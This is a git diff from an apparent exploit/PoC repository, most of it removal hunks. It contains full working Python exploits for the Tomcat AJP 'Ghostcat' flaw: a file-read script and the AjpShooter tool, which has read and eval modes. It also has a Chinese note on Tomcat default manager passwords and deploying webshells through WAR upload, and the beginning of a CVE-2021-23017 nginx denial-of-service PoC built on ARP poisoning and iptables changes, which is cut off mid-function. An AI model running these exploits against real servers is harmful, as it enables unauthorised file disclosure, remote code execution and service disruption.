||||||
|
self.is_ssl = unpack(stream, "?")
|
||||||
|
self.num_headers, = unpack(stream, ">H")
|
||||||
|
self.request_headers = {}
|
||||||
|
for i in range(self.num_headers):
|
||||||
|
code, = unpack(stream, ">H")
|
||||||
|
if code > 0xA000:
|
||||||
|
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
|
||||||
|
else:
|
||||||
|
h_name = unpack(stream, "%ds" % code)
|
||||||
|
stream.read(1) # \0
|
||||||
|
h_value = unpack_string(stream)
|
||||||
|
self.request_headers[h_name] = h_value
|
||||||
|
def send_and_receive(self, socket, stream, save_cookies=False):
|
||||||
|
res = []
|
||||||
|
i = socket.sendall(self.serialize())
|
||||||
|
if self.method == AjpForwardRequest.POST:
|
||||||
|
return res
|
||||||
|
|
||||||
|
r = AjpResponse.receive(stream)
|
||||||
|
assert r.prefix_code == AjpResponse.SEND_HEADERS
|
||||||
|
res.append(r)
|
||||||
|
if save_cookies and 'Set-Cookie' in r.response_headers:
|
||||||
|
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
|
||||||
|
|
||||||
|
# read body chunks and end response packets
|
||||||
|
while True:
|
||||||
|
r = AjpResponse.receive(stream)
|
||||||
|
res.append(r)
|
||||||
|
if r.prefix_code == AjpResponse.END_RESPONSE:
|
||||||
|
break
|
||||||
|
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
||||||
|
break
|
||||||
|
|
||||||
|
return res
|
||||||
|
|
||||||
|
class AjpResponse(object):
|
||||||
|
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
|
||||||
|
COMMON_SEND_HEADERS = [
|
||||||
|
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
|
||||||
|
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
|
||||||
|
]
|
||||||
|
def parse(self, stream):
|
||||||
|
# read headers
|
||||||
|
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
|
||||||
|
|
||||||
|
if self.prefix_code == AjpResponse.SEND_HEADERS:
|
||||||
|
self.parse_send_headers(stream)
|
||||||
|
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
|
||||||
|
self.parse_send_body_chunk(stream)
|
||||||
|
elif self.prefix_code == AjpResponse.END_RESPONSE:
|
||||||
|
self.parse_end_response(stream)
|
||||||
|
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
|
||||||
|
self.parse_get_body_chunk(stream)
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def parse_send_headers(self, stream):
|
||||||
|
self.http_status_code, = unpack(stream, ">H")
|
||||||
|
self.http_status_msg = unpack_string(stream)
|
||||||
|
self.num_headers, = unpack(stream, ">H")
|
||||||
|
self.response_headers = {}
|
||||||
|
for i in range(self.num_headers):
|
||||||
|
code, = unpack(stream, ">H")
|
||||||
|
if code <= 0xA000: # custom header
|
||||||
|
h_name, = unpack(stream, "%ds" % code)
|
||||||
|
stream.read(1) # \0
|
||||||
|
h_value = unpack_string(stream)
|
||||||
|
else:
|
||||||
|
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
|
||||||
|
h_value = unpack_string(stream)
|
||||||
|
self.response_headers[h_name] = h_value
|
||||||
|
|
||||||
|
def parse_send_body_chunk(self, stream):
|
||||||
|
self.data_length, = unpack(stream, ">H")
|
||||||
|
self.data = stream.read(self.data_length+1)
|
||||||
|
|
||||||
|
def parse_end_response(self, stream):
|
||||||
|
self.reuse, = unpack(stream, "b")
|
||||||
|
|
||||||
|
def parse_get_body_chunk(self, stream):
|
||||||
|
rlen, = unpack(stream, ">H")
|
||||||
|
return rlen
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def receive(stream):
|
||||||
|
r = AjpResponse()
|
||||||
|
r.parse(stream)
|
||||||
|
return r
|
||||||
|
|
||||||
|
import socket
|
||||||
|
|
||||||
|
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
|
||||||
|
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
|
||||||
|
fr.method = method
|
||||||
|
fr.protocol = "HTTP/1.1"
|
||||||
|
fr.req_uri = req_uri
|
||||||
|
fr.remote_addr = target_host
|
||||||
|
fr.remote_host = None
|
||||||
|
fr.server_name = target_host
|
||||||
|
fr.server_port = 80
|
||||||
|
fr.request_headers = {
|
||||||
|
'SC_REQ_ACCEPT': 'text/html',
|
||||||
|
'SC_REQ_CONNECTION': 'keep-alive',
|
||||||
|
'SC_REQ_CONTENT_LENGTH': '0',
|
||||||
|
'SC_REQ_HOST': target_host,
|
||||||
|
'SC_REQ_USER_AGENT': 'Mozilla',
|
||||||
|
'Accept-Encoding': 'gzip, deflate, sdch',
|
||||||
|
'Accept-Language': 'en-US,en;q=0.5',
|
||||||
|
'Upgrade-Insecure-Requests': '1',
|
||||||
|
'Cache-Control': 'max-age=0'
|
||||||
|
}
|
||||||
|
fr.is_ssl = False
|
||||||
|
fr.attributes = []
|
||||||
|
return fr
|
||||||
|
|
||||||
|
class Tomcat(object):
|
||||||
|
def __init__(self, target_host, target_port):
|
||||||
|
self.target_host = target_host
|
||||||
|
self.target_port = target_port
|
||||||
|
|
||||||
|
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
self.socket.connect((target_host, target_port))
|
||||||
|
self.stream = self.socket.makefile("rb", bufsize=0)
|
||||||
|
|
||||||
|
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
|
||||||
|
self.req_uri = req_uri
|
||||||
|
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
|
||||||
|
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
|
||||||
|
if user is not None and password is not None:
|
||||||
|
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
|
||||||
|
for h in headers:
|
||||||
|
self.forward_request.request_headers[h] = headers[h]
|
||||||
|
for a in attributes:
|
||||||
|
self.forward_request.attributes.append(a)
|
||||||
|
responses = self.forward_request.send_and_receive(self.socket, self.stream)
|
||||||
|
if len(responses) == 0:
|
||||||
|
return None, None
|
||||||
|
snd_hdrs_res = responses[0]
|
||||||
|
data_res = responses[1:-1]
|
||||||
|
if len(data_res) == 0:
|
||||||
|
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
|
||||||
|
return snd_hdrs_res, data_res
|
||||||
|
|
||||||
|
'''
|
||||||
|
javax.servlet.include.request_uri
|
||||||
|
javax.servlet.include.path_info
|
||||||
|
javax.servlet.include.servlet_path
|
||||||
|
'''
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument("target", type=str, help="Hostname or IP to attack")
|
||||||
|
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
|
||||||
|
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
t = Tomcat(args.target, args.port)
|
||||||
|
_,data = t.perform_request('/asdf',attributes=[
|
||||||
|
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
|
||||||
|
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
|
||||||
|
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
|
||||||
|
])
|
||||||
|
print('----------------------------')
|
||||||
|
print("".join([d.data for d in data]))
|
@ -1,386 +0,0 @@
|
|||||||
#!/usr/bin/python3
|
|
||||||
# Author: 00theway
|
|
||||||
|
|
||||||
import socket
|
|
||||||
import binascii
|
|
||||||
import argparse
|
|
||||||
import urllib.parse
|
|
||||||
|
|
||||||
debug = False
|
|
||||||
|
|
||||||
|
|
||||||
def log(type, *args, **kwargs):
|
|
||||||
if type == 'debug' and debug == False:
|
|
||||||
return
|
|
||||||
elif type == 'append' and debug == True:
|
|
||||||
return
|
|
||||||
elif type == 'append':
|
|
||||||
kwargs['end'] = ''
|
|
||||||
print(*args, **kwargs)
|
|
||||||
return
|
|
||||||
print('[%s]' % type.upper(), *args, **kwargs)
|
|
||||||
|
|
||||||
|
|
||||||
class ajpRequest(object):
|
|
||||||
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
|
|
||||||
self.request_url = request_url
|
|
||||||
self.method = method
|
|
||||||
self.headers = headers
|
|
||||||
self.attributes = attributes
|
|
||||||
|
|
||||||
def method2code(self, method):
|
|
||||||
methods = {
|
|
||||||
'OPTIONS': 1,
|
|
||||||
'GET': 2,
|
|
||||||
'HEAD': 3,
|
|
||||||
'POST': 4,
|
|
||||||
'PUT': 5,
|
|
||||||
'DELETE': 6,
|
|
||||||
'TRACE': 7,
|
|
||||||
'PROPFIND': 8
|
|
||||||
}
|
|
||||||
code = methods.get(method, 2)
|
|
||||||
return code
|
|
||||||
|
|
||||||
def make_headers(self):
|
|
||||||
header2code = {
|
|
||||||
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
|
|
||||||
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
|
|
||||||
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
|
|
||||||
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
|
|
||||||
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
|
|
||||||
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
|
|
||||||
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
|
|
||||||
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
|
|
||||||
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
|
|
||||||
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
|
|
||||||
b'host': b'\xA0\x0B', # SC_REQ_HOST
|
|
||||||
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
|
|
||||||
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
|
|
||||||
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
|
|
||||||
}
|
|
||||||
headers_ajp = []
|
|
||||||
|
|
||||||
for (header_name, header_value) in self.headers:
|
|
||||||
code = header2code.get(header_name, b'')
|
|
||||||
if code != b'':
|
|
||||||
headers_ajp.append(code)
|
|
||||||
headers_ajp.append(self.ajp_string(header_value))
|
|
||||||
else:
|
|
||||||
headers_ajp.append(self.ajp_string(header_name))
|
|
||||||
headers_ajp.append(self.ajp_string(header_value))
|
|
||||||
|
|
||||||
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
|
|
||||||
|
|
||||||
def make_attributes(self):
|
|
||||||
'''
|
|
||||||
org.apache.catalina.jsp_file
|
|
||||||
javax.servlet.include.servlet_path + javax.servlet.include.path_info
|
|
||||||
'''
|
|
||||||
attribute2code = {
|
|
||||||
b'remote_user': b'\x03',
|
|
||||||
b'auth_type': b'\x04',
|
|
||||||
b'query_string': b'\x05',
|
|
||||||
b'jvm_route': b'\x06',
|
|
||||||
b'ssl_cert': b'\x07',
|
|
||||||
b'ssl_cipher': b'\x08',
|
|
||||||
b'ssl_session': b'\x09',
|
|
||||||
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
|
|
||||||
b'ssl_key_size': b'\x0B'
|
|
||||||
}
|
|
||||||
attributes_ajp = []
|
|
||||||
|
|
||||||
for (name, value) in self.attributes:
|
|
||||||
code = attribute2code.get(name, b'')
|
|
||||||
if code != b'':
|
|
||||||
attributes_ajp.append(code)
|
|
||||||
if code == b'\x0A':
|
|
||||||
for v in value:
|
|
||||||
attributes_ajp.append(self.ajp_string(v))
|
|
||||||
else:
|
|
||||||
attributes_ajp.append(self.ajp_string(value))
|
|
||||||
|
|
||||||
return b''.join(attributes_ajp)
|
|
||||||
|
|
||||||
def ajp_string(self, message_bytes):
|
|
||||||
# an AJP string
|
|
||||||
# the length of the string on two bytes + string + plus two null bytes
|
|
||||||
message_len_int = len(message_bytes)
|
|
||||||
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
|
|
||||||
|
|
||||||
def int2byte(self, data, byte_len=1):
|
|
||||||
return data.to_bytes(byte_len, 'big')
|
|
||||||
|
|
||||||
def make_forward_request_package(self):
|
|
||||||
'''
|
|
||||||
AJP13_FORWARD_REQUEST :=
|
|
||||||
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
|
|
||||||
method (byte)
|
|
||||||
protocol (string)
|
|
||||||
req_uri (string)
|
|
||||||
remote_addr (string)
|
|
||||||
remote_host (string)
|
|
||||||
server_name (string)
|
|
||||||
server_port (integer)
|
|
||||||
is_ssl (boolean)
|
|
||||||
num_headers (integer)
|
|
||||||
request_headers *(req_header_name req_header_value)
|
|
||||||
attributes *(attribut_name attribute_value)
|
|
||||||
request_terminator (byte) OxFF
|
|
||||||
'''
|
|
||||||
req_ob = urllib.parse.urlparse(self.request_url)
|
|
||||||
|
|
||||||
# JK_AJP13_FORWARD_REQUEST
|
|
||||||
prefix_code_int = 2
|
|
||||||
prefix_code_bytes = self.int2byte(prefix_code_int)
|
|
||||||
method_bytes = self.int2byte(self.method2code(self.method))
|
|
||||||
protocol_bytes = b'HTTP/1.1'
|
|
||||||
req_uri_bytes = req_ob.path.encode('utf8')
|
|
||||||
remote_addr_bytes = b'127.0.0.1'
|
|
||||||
remote_host_bytes = b'localhost'
|
|
||||||
server_name_bytes = req_ob.hostname.encode('utf8')
|
|
||||||
|
|
||||||
# SSL flag
|
|
||||||
if req_ob.scheme == 'https':
|
|
||||||
is_ssl_boolean = 1
|
|
||||||
else:
|
|
||||||
is_ssl_boolean = 0
|
|
||||||
|
|
||||||
# port
|
|
||||||
server_port_int = req_ob.port
|
|
||||||
if not server_port_int:
|
|
||||||
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
|
|
||||||
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
|
|
||||||
|
|
||||||
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
|
|
||||||
|
|
||||||
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
|
|
||||||
|
|
||||||
num_headers_bytes, headers_ajp_bytes = self.make_headers()
|
|
||||||
|
|
||||||
attributes_ajp_bytes = self.make_attributes()
|
|
||||||
|
|
||||||
message = []
|
|
||||||
message.append(prefix_code_bytes)
|
|
||||||
message.append(method_bytes)
|
|
||||||
message.append(self.ajp_string(protocol_bytes))
|
|
||||||
message.append(self.ajp_string(req_uri_bytes))
|
|
||||||
message.append(self.ajp_string(remote_addr_bytes))
|
|
||||||
message.append(self.ajp_string(remote_host_bytes))
|
|
||||||
message.append(self.ajp_string(server_name_bytes))
|
|
||||||
message.append(server_port_bytes)
|
|
||||||
message.append(is_ssl_bytes)
|
|
||||||
message.append(num_headers_bytes)
|
|
||||||
message.append(headers_ajp_bytes)
|
|
||||||
message.append(attributes_ajp_bytes)
|
|
||||||
message.append(b'\xff')
|
|
||||||
message_bytes = b''.join(message)
|
|
||||||
|
|
||||||
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
|
|
||||||
|
|
||||||
return send_bytes
|
|
||||||
|
|
||||||
|
|
||||||
class ajpResponse(object):
|
|
||||||
def __init__(self, s, out_file):
|
|
||||||
self.sock = s
|
|
||||||
self.out_file = out_file
|
|
||||||
self.body_start = False
|
|
||||||
self.common_response_headers = {
|
|
||||||
b'\x01': b'Content-Type',
|
|
||||||
b'\x02': b'Content-Language',
|
|
||||||
b'\x03': b'Content-Length',
|
|
||||||
b'\x04': b'Date',
|
|
||||||
b'\x05': b'Last-Modified',
|
|
||||||
b'\x06': b'Location',
|
|
||||||
b'\x07': b'Set-Cookie',
|
|
||||||
b'\x08': b'Set-Cookie2',
|
|
||||||
b'\x09': b'Servlet-Engine',
|
|
||||||
b'\x0a': b'Status',
|
|
||||||
b'\x0b': b'WWW-Authenticate',
|
|
||||||
}
|
|
||||||
if not self.out_file:
|
|
||||||
self.out_file = False
|
|
||||||
else:
|
|
||||||
log('*', 'store response in %s' % self.out_file)
|
|
||||||
self.out = open(self.out_file, 'wb')
|
|
||||||
|
|
||||||
def parse_response(self):
|
|
||||||
log('debug', 'start')
|
|
||||||
|
|
||||||
magic = self.recv(2) # first two bytes are the 'magic'
|
|
||||||
log('debug', 'magic', magic, binascii.b2a_hex(magic))
|
|
||||||
# next two bytes are the length
|
|
||||||
data_len_int = self.read_int(2)
|
|
||||||
|
|
||||||
code_int = self.read_int(1)
|
|
||||||
log('debug', 'code', code_int)
|
|
||||||
|
|
||||||
if code_int == 3:
|
|
||||||
self.parse_send_body_chunk()
|
|
||||||
elif code_int == 4:
|
|
||||||
self.parse_headers()
|
|
||||||
elif code_int == 5:
|
|
||||||
self.parse_response_end()
|
|
||||||
quit()
|
|
||||||
|
|
||||||
self.parse_response()
|
|
||||||
|
|
||||||
def parse_headers(self):
|
|
||||||
log("append", '\n')
|
|
||||||
log('debug', 'parsing RESPONSE HEADERS')
|
|
||||||
|
|
||||||
status_int = self.read_int(2)
|
|
||||||
msg_bytes = self.read_string()
|
|
||||||
|
|
||||||
log('<', status_int, msg_bytes.decode('utf8'))
|
|
||||||
|
|
||||||
headers_number_int = self.read_int(2)
|
|
||||||
log('debug', 'headers_nb', headers_number_int)
|
|
||||||
|
|
||||||
for i in range(headers_number_int):
|
|
||||||
# header name: two cases
|
|
||||||
first_byte = self.recv(1)
|
|
||||||
second_byte = self.recv(1)
|
|
||||||
|
|
||||||
if first_byte == b'\xa0':
|
|
||||||
header_key_bytes = self.common_response_headers[second_byte]
|
|
||||||
else:
|
|
||||||
header_len_bytes = first_byte + second_byte
|
|
||||||
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
|
|
||||||
header_key_bytes = self.read_bytes(header_len_int)
|
|
||||||
# consume the 0x00 terminator
|
|
||||||
self.recv(1)
|
|
||||||
|
|
||||||
header_value_bytes = self.read_string()
|
|
||||||
try:
|
|
||||||
header_key_bytes = header_key_bytes.decode('utf8')
|
|
||||||
header_value_bytes = header_value_bytes.decode('utf8')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
|
|
||||||
|
|
||||||
def parse_send_body_chunk(self):
|
|
||||||
if not self.body_start:
|
|
||||||
log('append', '\n')
|
|
||||||
log('debug', 'start parsing body chunk')
|
|
||||||
self.body_start = True
|
|
||||||
chunk = self.read_string()
|
|
||||||
if self.out_file:
|
|
||||||
self.out.write(chunk)
|
|
||||||
else:
|
|
||||||
try:
|
|
||||||
chunk = chunk.decode('utf8')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
log('append', chunk)
|
|
||||||
|
|
||||||
def parse_response_end(self):
|
|
||||||
log('debug', 'start parsing end')
|
|
||||||
code_reuse_int = self.read_int(1)
|
|
||||||
log('debug', "finish parsing end", code_reuse_int)
|
|
||||||
self.sock.close()
|
|
||||||
|
|
||||||
def read_int(self, int_len):
|
|
||||||
return int.from_bytes(self.recv(int_len), byteorder='big')
|
|
||||||
|
|
||||||
def read_bytes(self, bytes_len):
|
|
||||||
return self.recv(bytes_len)
|
|
||||||
|
|
||||||
def read_string(self, int_len=2):
|
|
||||||
data_len = self.read_int(int_len)
|
|
||||||
data = self.recv(data_len)
|
|
||||||
# consume the 0x00 terminator
|
|
||||||
end = self.recv(1)
|
|
||||||
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
|
|
||||||
return data
|
|
||||||
|
|
||||||
def recv(self, data_len):
|
|
||||||
data = self.sock.recv(data_len)
|
|
||||||
while len(data) < data_len:
|
|
||||||
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
|
|
||||||
data += self.sock.recv(data_len - len(data))
|
|
||||||
return data
|
|
||||||
|
|
||||||
|
|
||||||
class ajpShooter(object):
|
|
||||||
def __init__(self, args):
|
|
||||||
self.args = args
|
|
||||||
self.headers = args.header
|
|
||||||
self.ajp_port = args.ajp_port
|
|
||||||
self.requesturl = args.url
|
|
||||||
self.target_file = args.target_file
|
|
||||||
self.shooter = args.shooter
|
|
||||||
self.method = args.X
|
|
||||||
self.out_file = args.out_file
|
|
||||||
|
|
||||||
def shoot(self):
|
|
||||||
headers = self.transform_headers()
|
|
||||||
|
|
||||||
target_file = self.target_file.encode('utf8')
|
|
||||||
|
|
||||||
attributes = []
|
|
||||||
evil_req_attributes = [
|
|
||||||
(b'javax.servlet.include.request_uri', b'index'),
|
|
||||||
(b'javax.servlet.include.servlet_path', target_file)
|
|
||||||
]
|
|
||||||
|
|
||||||
for req_attr in evil_req_attributes:
|
|
||||||
attributes.append((b"req_attribute", req_attr))
|
|
||||||
|
|
||||||
if self.shooter == 'read':
|
|
||||||
self.requesturl += '/index.txt'
|
|
||||||
else:
|
|
||||||
self.requesturl += '/index.jsp'
|
|
||||||
|
|
||||||
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
|
|
||||||
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect((ajp_ip, self.ajp_port))
|
|
||||||
|
|
||||||
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
|
|
||||||
s.send(message)
|
|
||||||
|
|
||||||
ajpResponse(s, self.out_file).parse_response()
|
|
||||||
|
|
||||||
def transform_headers(self):
|
|
||||||
self.headers = [] if not self.headers else self.headers
|
|
||||||
newheaders = []
|
|
||||||
for header in self.headers:
|
|
||||||
hsplit = header.split(':')
|
|
||||||
hname = hsplit[0]
|
|
||||||
hvalue = ':'.join(hsplit[1:])
|
|
||||||
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
|
|
||||||
|
|
||||||
return newheaders
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
# parse command line arguments
|
|
||||||
print('''
|
|
||||||
_ _ __ _ _
|
|
||||||
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
|
|
||||||
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
|
|
||||||
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
|
|
||||||
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|
|
||||||
|__/|_|
|
|
||||||
00theway,just for test
|
|
||||||
''')
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
|
|
||||||
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
|
|
||||||
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
|
|
||||||
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
|
|
||||||
|
|
||||||
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
|
|
||||||
parser.add_argument('-H', '--header', help='add a header', action='append')
|
|
||||||
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
|
|
||||||
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
|
|
||||||
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
|
|
||||||
parser.add_argument('-o', '--out-file', help='write response to file')
|
|
||||||
parser.add_argument('--debug', action='store_true', default=False)
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
|
||||||
debug = args.debug
|
|
||||||
ajpShooter(args).shoot()
|
|
Before Width: | Height: | Size: 171 KiB |
Before Width: | Height: | Size: 79 KiB |
@ -1,12 +1,11 @@
|
|||||||
# Tomcat 默认密码
|
## Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
||||||
### Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
后台地址默认为 `ip/manager/html`
|
||||||
后台地址默认为 `http://ip/manager/html`
|
|
||||||
|
|
||||||
* Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
|
* Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
|
||||||
* Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
|
* Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
|
||||||
* Tomcat7默认有tomcat用户,密码为tomcat 拥有直接部署war文件的权限,可以直接上马
|
* Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
|
||||||
* Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问
|
* Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问
|
||||||
|
|
||||||
|
|
||||||
### 修复方案
|
修复方案:
|
||||||
Tomcat的用户配置文件tomcat-users.xml中进行修改
|
Tomcat的用户配置文件tomcat-users.xml中进行修改
|
Before Width: | Height: | Size: 514 KiB After Width: | Height: | Size: 514 KiB |
Before Width: | Height: | Size: 98 KiB After Width: | Height: | Size: 98 KiB |
Before Width: | Height: | Size: 428 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
Before Width: | Height: | Size: 214 KiB After Width: | Height: | Size: 214 KiB |
Before Width: | Height: | Size: 496 KiB After Width: | Height: | Size: 496 KiB |
Before Width: | Height: | Size: 340 KiB After Width: | Height: | Size: 340 KiB |
Before Width: | Height: | Size: 158 KiB After Width: | Height: | Size: 158 KiB |
Before Width: | Height: | Size: 198 KiB After Width: | Height: | Size: 198 KiB |
Before Width: | Height: | Size: 560 KiB After Width: | Height: | Size: 560 KiB |
Before Width: | Height: | Size: 274 KiB After Width: | Height: | Size: 274 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 128 KiB After Width: | Height: | Size: 128 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 109 KiB After Width: | Height: | Size: 109 KiB |
Before Width: | Height: | Size: 107 KiB After Width: | Height: | Size: 107 KiB |
@ -1,7 +0,0 @@
|
|||||||
# Nginx 1.20.0 - Denial of Service (DOS)
|
|
||||||
|
|
||||||
## cve 编号
|
|
||||||
CVE-2021-23017
|
|
||||||
|
|
||||||
## poc 使用
|
|
||||||
`python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1`
|
|
@ -1,103 +0,0 @@
|
|||||||
|
|
||||||
from scapy.all import *
|
|
||||||
from multiprocessing import Process
|
|
||||||
from binascii import hexlify, unhexlify
|
|
||||||
import argparse, time, os
|
|
||||||
|
|
||||||
def device_setup():
|
|
||||||
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
|
|
||||||
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
|
|
||||||
|
|
||||||
def ARPP(target, dns_server):
|
|
||||||
print("[*] Sending poisoned ARP packets")
|
|
||||||
target_mac = getmacbyip(target)
|
|
||||||
dns_server_mac = getmacbyip(dns_server)
|
|
||||||
while True:
|
|
||||||
time.sleep(2)
|
|
||||||
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
|
|
||||||
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
|
|
||||||
|
|
||||||
def exploit(target):
|
|
||||||
print("[*] Listening ")
|
|
||||||
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
|
|
||||||
|
|
||||||
"""
|
|
||||||
RFC schema
|
|
||||||
0 1 2 3
|
|
||||||
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
| LENGTH | ID |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
| ANCOUNT | NSCOUNT |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
| ARCOUNT | QD |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
| AN | NS |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
| AR |
|
|
||||||
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
||||||
|
|
||||||
Fig. DNS
|
|
||||||
|
|
||||||
"""
|
|
||||||
def process_received_packet(received_packet):
|
|
||||||
if received_packet[IP].src == target_ip:
|
|
||||||
if received_packet.haslayer(DNS):
